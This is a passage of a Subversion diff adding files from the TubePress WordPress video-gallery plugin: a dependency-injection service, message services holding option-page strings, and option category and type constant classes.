+    const FEED_RET    = 'feedRetrievalService';
+    const FORM_HNDLER = 'formHandler';
+    const GALLERY     = 'gallery';
+    const MESSAGE     = 'messageService';
+    const OPTIONS_MGR = 'optionsManager';
+    const PAGINATION  = 'paginationService';
+    const QUERY_STR   = 'queryStringService';
+    const REFERENCE   = 'optionsReference';
+    const SHORTCODE   = 'shortcodeService';
+    const STORAGE     = 'storageManager';
+    const THUMB       = 'thumbnailService';
+    const URL_BUILDER = 'ulrBuilderService';
+    const VALIDATION  = 'validationService';
+    const VID_FACT    = 'videoFactory';
+    const WIDGET_GALL = 'widgetGallery';
+    const W_PRINTER   = 'widgetPrinter';
+
+    public function get($className);
+    
+    public function safeGet($firstChoice, $safeChoice);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/ioc/PhpCraftyIocService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/ioc/PhpCraftyIocService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/ioc/PhpCraftyIocService.class.php	(revision 44)
@@ -0,0 +1,66 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('net_sourceforge_phpcrafty_ComponentFactory'));
+
+/**
+ * Dependency injector for TubePress that uses phpcrafty
+ */
+abstract class org_tubepress_ioc_PhpCraftyIocService extends net_sourceforge_phpcrafty_ComponentFactory
+{
+    public function get($className)
+    {
+        return $this->create($className);
+    }
+
+    public function ref($referenceName)
+    {
+        return $this->referenceFor($referenceName);
+    }
+
+    public function def($referenceName, $spec)
+    {
+        $this->setComponentSpec($referenceName, $spec);
+    }
+
+    /**
+     * Define an implementation for a class. We'll never use constructor
+     * injection, and we'll only use singletons, so this is just a convenience class.
+     * 
+     * @param $className
+     * @param $properties
+     * @return unknown_type
+     */
+    public function impl($className, $properties = array())
+    {
+        return $this->newComponentSpec($className, array(), $properties, true);
+    }
+
+    public function safeGet($firstChoice, $safeChoice)
+    {
+        if ($this->getComponentSpec($firstChoice) != null) {
+            return $this->get($firstChoice);
+        }
+        return $this->get($safeChoice);
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/message/AbstractMessageService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/message/AbstractMessageService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/message/AbstractMessageService.class.php	(revision 44)
@@ -0,0 +1,206 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_message_MessageService'));
+
+/**
+ * Shared message functionality for org_tubepress_message_MessageService implementations.
+ * This class basically provides one additional layer of abstraction between
+ * the code and the actual message in the .pot files.
+ */
+abstract class org_tubepress_message_AbstractMessageService implements org_tubepress_message_MessageService
+{
+    private $_msgs = array(
+        "options-page-title"       => "TubePress Options",
+        "options-page-save-button" => "Save", 
+        "options-page-intro-text"  => "Set default options for the plugin. Each option here can be overridden on a per page/post basis. See the <a href=\"http://tubepress.org/documentation\">documentation</a> for more info.", 
+        "options-page-donation"    => "TubePress is free. But if you enjoy the plugin, and appreciate the hundreds of hours I've spent developing and supporting it, please consider a donation. No amount is too small. Thanks!", 
+        
+        "options-category-title-gallery"  => "Which videos?", 
+        "options-category-title-display"  => "Appearance",
+        "options-category-title-embedded" => "Embedded Player", 
+        "options-category-title-meta"     => "Meta Display",
+        "options-category-title-feed"      => "YouTube Feed", 
+        "options-category-title-advanced" => "Advanced", 
+    
+        "options-title-top_rated"         => "Top rated videos from...", 
+        "options-title-favorites"         => "This YouTube user's \"favorites\"", 
+        "options-title-recently_featured" => "The latest \"featured\" videos on YouTube's homepage", 
+        "options-title-mobile"            => "Videos for mobile phones", 
+        "options-title-playlist"          => "This playlist", 
+        "options-desc-playlist"           => "Limited to 200 videos per playlist. Will usually look something like this: D2B04665B213AE35. Copy the playlist id from the end of the URL in your browser's address bar (while looking at a YouTube playlist). It comes right after the 'p='. For instance: http://youtube.com/my_playlists?p=D2B04665B213AE35", 
+        "options-title-most_viewed"       => "Most-viewed videos from", 
+        "options-title-most_linked"       => "Most-linked videos", 
+        "options-title-most_recent"       => "Most-recently added videos", 
+        "options-title-most_discussed"    => "Most-discussed videos", 
+        "options-title-most_responded"    => "Most-responded to videos", 
+        "options-title-views"             => "Views", 
+        "options-title-tag"               => "YouTube search for...", 
+        "options-title-user"              => "Videos from this YouTube user", 
+        "options-desc-tag"                => "YouTube limits this mode to 1,000 results",
+        
+        "options-title-playerLocation"   => "Play each video", 
+        "options-title-descriptionLimit" => "Maximum description length", 
+        "options-desc-descriptionLimit"  => "Maximum number of characters to display in video descriptions. Set to 0 for no limit.", 
+        "options-title-thumbHeight"      => "Height (px) of thumbs", 
+        "options-desc-thumbHeight"       => "Default (and maximum) is 90", 
+        "options-title-thumbWidth"       => "Width (px) of thumbs", 
+        "options-desc-thumbWidth"        => "Default (and maximum) is 120", 
+        "options-title-relativeDates"    => "Use relative dates", 
+        "options-desc-relativeDates"     => "e.g. \"yesterday\" instead of \"November 3, 1980\"", 
+        "options-title-resultsPerPage"   => "Videos per Page", 
+        "options-desc-resultsPerPage"    => "Default is 20. Maximum is 50", 
+        "options-title-orderBy"          => "Order videos by",
+        'options-title-paginationAbove'  => 'Show pagination above thumbnails',
+        'options-title-paginationBelow'  => 'Show pagination below thumbnails',
+        'options-desc-paginationAbove'   => 'Only applies to galleries that span multiple pages',
+        'options-desc-paginationBelow'   => 'Only applies to galleries that span multiple pages',
+     
+        "options-title-autoplay"             => "Auto-play videos", 
+        "options-title-border"               => "Show border", 
+        "options-title-embeddedHeight"       => "Max height (px)", 
+        "options-desc-embeddedHeight"        => "Default is 350", 
+        "options-title-embeddedWidth"        => "Max width (px)", 
+        "options-desc-embeddedWidth"         => "Default is 425", 
+        "options-title-fullscreen"           => "Allow fullscreen playback",
+        "options-title-genie"                => "Enhanced genie menu", 
+        "options-desc-genie"                 => "Show the genie menu, if present, when the mouse enters the video area (as opposed to only when the user pushes the \"menu\" button", 
+        "options-title-loop"                 => "Loop", 
+        "options-desc-loop"                  => "Continue playing the video until the user stops it", 
+        "options-title-playerColor"          => "Main color",
+        "options-desc-playerColor"           => "Default is 999999",
+        "options-title-playerHighlight"      => "Highlight color",
+        "options-desc-playerHighlight"       => "Default is FFFFFF",
+        "options-title-showRelated"          => "Show related videos", 
+        "options-desc-showRelated"           => "Toggles the display of related videos after a video finishes",
+        "options-title-showInfo"             => "Show title and rating before video starts",
+        "options-title-quality"              => "Video quality",
+        "options-title-playerImplementation" => "Implementation",
+        "options-desc-playerImplementation"  => "The brand of the embedded player. Default is \"YouTube\"",
+        
+        "options-title-author"      => "Author", 
+        "options-title-category"    => "Category", 
+        "options-title-description" => "Description", 
+        "options-title-id"          => "ID", 
+        "options-title-length"      => "Length", 
+        "options-title-rating"      => "Rating", 
+        "options-title-ratings"     => "Ratings", 
+        "options-title-tags"        => "Tags", 
+        "options-title-title"       => "Title", 
+        "options-title-uploaded"    => "Posted", 
+        "options-title-url"         => "URL", 
+        "options-title-views"       => "Views", 
+        
+        "options-title-dateFormat"           => "Date format", 
+        "options-desc-dateFormat"            => "Set the textual formatting of date information for videos. See <a href=\"http://us.php.net/date\">date</a> for examples.", 
+        "options-title-debugging_enabled"    => "Enable debugging", 
+        "options-desc-debugging_enabled"     => "If checked, anyone will be able to view your debugging information. This is a rather small privacy risk. If you're not having problems with TubePress, or you're worried about revealing any details of your TubePress pages, feel free to disable the feature.",
+        "options-title-keyword"              => "Shortcode keyword", 
+        "options-desc-keyword"               => "The word you insert (in plaintext, between square brackets) into your posts/pages to display a gallery.", 
+        "options-title-randomize_thumbnails" => "Randomize thumbnails", 
+        "options-desc-randomize_thumbnails"  => "Most videos come with several thumbnails. By selecting this option, each time someone views your gallery they will see the same videos with each video's thumbnail randomized", 
+        "options-title-nofollowLinks"        => "Add rel=nofollow to most YouTube links", 
+        "options-desc-nofollowLinks"         => "Prevents search engines from indexing outbound links to youtube.com. The only exception is the link to a video's original page on YouTube.", 
+        
+        "options-title-filter_racy"          => "Filter \"racy\" content", 
+        "options-desc-filter_racy"           => "Don't show videos that may not be suitable for minors.", 
+        "options-title-clientKey"            => "YouTube API Client ID", 
+        "options-desc-clientKey"             => "YouTube will use this client ID for logging and debugging purposes if you experience a service problem on their end. You can register a new client ID <a href=\"http://code.google.com/apis/youtube/dashboard/\">here</a>. Don't change this unless you know what you're doing.", 
+        "options-title-developerKey"         => "YouTube API Developer Key", 
+        "options-desc-developerKey"          => "YouTube will use this developer key for logging and debugging purposes if you experience a service problem on their end. You can register a new client ID and developer key <a href=\"http://code.google.com/apis/youtube/dashboard/\">here</a>. Don't change this unless you know what you're doing.", 
+        "options-title-cacheEnabled"         => "Enable request cache", 
+        "options-desc-cacheEnabled"          => "Store YouTube responses locally for 1 hour. Each response is on the order of a few hundred KB, so leaving the cache enabled will significantly reduce load times for your galleries at the slight expense of freshness.",
+        "options-title-embeddableOnly"       => "Only retrieve embeddable videos",
+        "options-desc-embeddableOnly"          => "Some videos have embedding disabled. Checking this option will exclude these videos from your galleries.",
+    
+        "player-normal"      => "normally (at the top of your gallery)", 
+        "player-popup"       => "in a popup window",
+        "player-youtube"     => "from the original YouTube page", 
+        "player-shadowbox"   => "with Shadowbox",
+        "player-jqmodal"     => 'with jqModal',
+        'player-colorbox'    => 'with Colorbox',
+    
+        "order-relevance"  => "relevance", 
+        "order-viewCount"      => "view count", 
+        "order-rating"     => "rating", 
+        "order-updated"  => "date published", 
+        "order-random"     => "randomly", 
+    
+        "timeFrame-today"   => "today", 
+        "timeFrame-this_week"    => "this week", 
+        "timeFrame-this_month"   => "this month", 
+        "timeFrame-all_time" => "all time", 
+    
+        "video-author"      => "Author", 
+        "video-category"    => "Category", 
+        "video-description" => "", 
+        "video-id"          => "ID", 
+        "video-length"      => "", 
+        "video-rating"      => "Rating", 
+        "video-ratings"     => "Ratings", 
+        "video-tags"        => "Tags", 
+        "video-title"       => "", 
+        "video-uploaded"    => "Posted", 
+        "video-url"         => "URL", 
+        "video-views"       => "Views", 
+    
+        "validation-int-type"  => "%s can only take on integer values. You supplied %s.", 
+        "validation-int-range" => "%s must be between %d and %d. You supplied %d.", 
+        "validation-time"      => "%s must be one of \"today\", \"this_week\", \"this_month\", \"all_time\". You supplied %s.", 
+        "validation-order"     => "%s must be on of \"relevance\", \"viewCount\", \"rating\", \"updated\", \"random\". You supplied %s.", 
+        "validation-text"      => "%s must be a string. You supplied %s.", 
+    
+        "next" => "next", 
+        "prev" => "prev", 
+
+        "widget-description"           => "Displays YouTube videos in your sidebar using TubePress", 
+        "widget-tagstring-description" => "TubePress shortcode for the widget. See the <a href=\"http://tubepress.org/documentation\"> documentation</a>.",
+        
+        "quality-normal"  => "Normal",
+        "quality-high"    => "High",
+        "quality-higher"  => "Higher",
+        "quality-highest" => "Highest",
+    
+        "safeSearch-none"     => "none",
+        "safeSearch-moderate" => "moderate",
+        "safeSearch-strict"   => "strict",
+
+        "playerImplementation-youtube"    => "YouTube",
+        "playerImplementation-longtail"   => "JW FLV Media Player (by Longtail Video)"
+    );
+    
+    /**
+     * Takes a message key and provides the actual message to translate
+     *
+     * @param string $msgId The message id
+     *
+     * @return string The message translation key for gettext
+     */
+    protected function _keyToMessage($msgId)
+    {
+        if (array_key_exists($msgId, $this->_msgs)) {
+            return $this->_msgs[$msgId];     
+        }
+        return "";
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/message/MessageService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/message/MessageService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/message/MessageService.class.php	(revision 44)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * General purpose cache for TubePress
+ */
+interface org_tubepress_message_MessageService
+{
+    public function _($messageKey);
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/message/WordPressMessageService.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/message/WordPressMessageService.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/message/WordPressMessageService.class.php	(revision 44)
@@ -0,0 +1,44 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_message_AbstractMessageService'));
+
+/**
+ * Message service that uses gettext (via WordPress)
+ */
+class org_tubepress_message_WordPressMessageService extends org_tubepress_message_AbstractMessageService
+{
+    /**
+     * Retrieves a message for TubePress
+     *
+     * @param string $msgId The message ID
+     *
+     * @return string The corresponding message, or "" if not found
+     */
+    public function _($msgId)
+    {
+        $message = $this->_keyToMessage($msgId);
+        return $message == "" ? "" : 
+            __($message, "tubepress");
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/Category.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/Category.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/Category.class.php	(revision 44)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * The valid options categories and their names
+ *
+ */
+class org_tubepress_options_Category
+{
+    const ADVANCED = "advanced";
+    const DISPLAY  = "display";
+    const EMBEDDED = "embedded";
+    const FEED     = "feed";
+    const GALLERY  = "gallery";
+    const META     = "meta";
+    const WIDGET   = "widget";
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/Type.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/Type.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/Type.class.php	(revision 44)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * The types of options TubePress can handle
+ *
+ */
+class org_tubepress_options_Type
+{
+    const BOOL        = "boolean";              // Yes/No options
+    const COLOR       = "color";                // An HTML color (6 hex digits)      
+    const INTEGRAL    = "integral";             // A number
+    const MODE        = "mode";                 // A gallery mode
+    const ORDER       = "order";                // Video sort order
+    const PLAYER      = "player";               // Shadowbox, popup, etc
+    const PLAYER_IMPL = "playerImplementation"; //YouTube, Longtail, etc
+    const PLAYLIST    = "playlist";             // A YouTube playlist ID
+    const QUALITY     = "quality";              // Video quality
+    const SAFE_SEARCH = "safeSearch";           // a SafeSearch level
+    const TEXT        = "text";                 // Free form text
+    const TIME_FRAME  = "timeFrame";            // Today, last week, etc
+    const YT_USER     = "youtubeUser";          // A YouTube username    
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Advanced.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Advanced.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Advanced.class.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Advanced option names for the plugin
+ *
+ */
+class org_tubepress_options_category_Advanced
+{
+    const DATEFORMAT     = "dateFormat";
+    const DEBUG_ON       = "debugging_enabled";
+    const KEYWORD        = "keyword";
+    const RANDOM_THUMBS  = "randomize_thumbnails";
+    const NOFOLLOW_LINKS = "nofollowLinks";
+} 
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Display.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Display.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Display.class.php	(revision 44)
@@ -0,0 +1,39 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Display option names for the plugin
+ *
+ */
+class org_tubepress_options_category_Display
+{
+    /* The order in which these constants are declared dictates the
+       order in which they'll be presented on the options page */
+    const CURRENT_PLAYER_NAME = "playerLocation";
+    const RESULTS_PER_PAGE    = "resultsPerPage";
+    const THUMB_HEIGHT        = "thumbHeight";
+    const THUMB_WIDTH         = "thumbWidth";
+    const ORDER_BY            = "orderBy";
+    const PAGINATE_ABOVE      = 'paginationAbove';
+    const PAGINATE_BELOW      = 'paginationBelow';
+    const RELATIVE_DATES      = "relativeDates";
+    const DESC_LIMIT          = "descriptionLimit";
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Embedded.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Embedded.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Embedded.class.php	(revision 44)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Option names for the embedded player
+ *
+ */
+class org_tubepress_options_category_Embedded
+{
+    /* The order in which these constants are declared dictates the
+       order in which they'll be presented on the options page */
+    const PLAYER_IMPL      = "playerImplementation";
+    const EMBEDDED_HEIGHT  = "embeddedHeight";
+    const EMBEDDED_WIDTH   = "embeddedWidth";
+    const AUTOPLAY         = "autoplay";
+    const BORDER           = "border";
+    const FULLSCREEN       = "fullscreen";
+    const GENIE            = "genie";
+    const LOOP             = "loop";
+    const PLAYER_COLOR     = "playerColor";
+    const PLAYER_HIGHLIGHT = "playerHighlight";
+    const QUALITY          = "quality";
+    const SHOW_INFO        = "showInfo";
+    const SHOW_RELATED     = "showRelated";
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Feed.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Feed.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Feed.class.php	(revision 44)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * YouTube feed options
+ *
+ */
+class org_tubepress_options_category_Feed
+{
+    /* The order in which these constants are declared dictates the
+       order in which they'll be presented on the options page */
+    const CACHE_ENABLED   = "cacheEnabled";
+    const EMBEDDABLE_ONLY = "embeddableOnly";
+    const FILTER          = "filter_racy";
+    const CLIENT_KEY      = "clientKey";
+    const DEV_KEY         = "developerKey";
+} 
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Gallery.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Gallery.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Gallery.class.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Option names defining which videos to show in the gallery
+ *
+ */
+class org_tubepress_options_category_Gallery
+{
+    const MODE = "mode";
+    
+    const FAVORITES_VALUE   = "favoritesValue";
+    const MOST_VIEWED_VALUE = "most_viewedValue";
+    const PLAYLIST_VALUE    = "playlistValue";
+    const TAG_VALUE         = "tagValue";
+    const TOP_RATED_VALUE   = "top_ratedValue";
+    const USER_VALUE        = "userValue";
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Meta.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Meta.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Meta.class.php	(revision 44)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
+ * Option names that control which meta info is displayed below video
+ * thumbnails
+ */
+class org_tubepress_options_category_Meta
+{
+    const AUTHOR      = "author";
+    const CATEGORY    = "category";
+    const DESCRIPTION = "description";
+    const ID          = "id";
+    const LENGTH      = "length";
+    const RATING      = "rating";
+    const RATINGS     = "ratings";
+    const TAGS        = "tags";
+    const TITLE       = "title";
+    const UPLOADED    = "uploaded";
+    const URL         = "url";
+    const VIEWS       = "views";
+}
+              
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Widget.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Widget.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/org/tubepress/options/category/Widget.class.php	(revision 44)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+/**
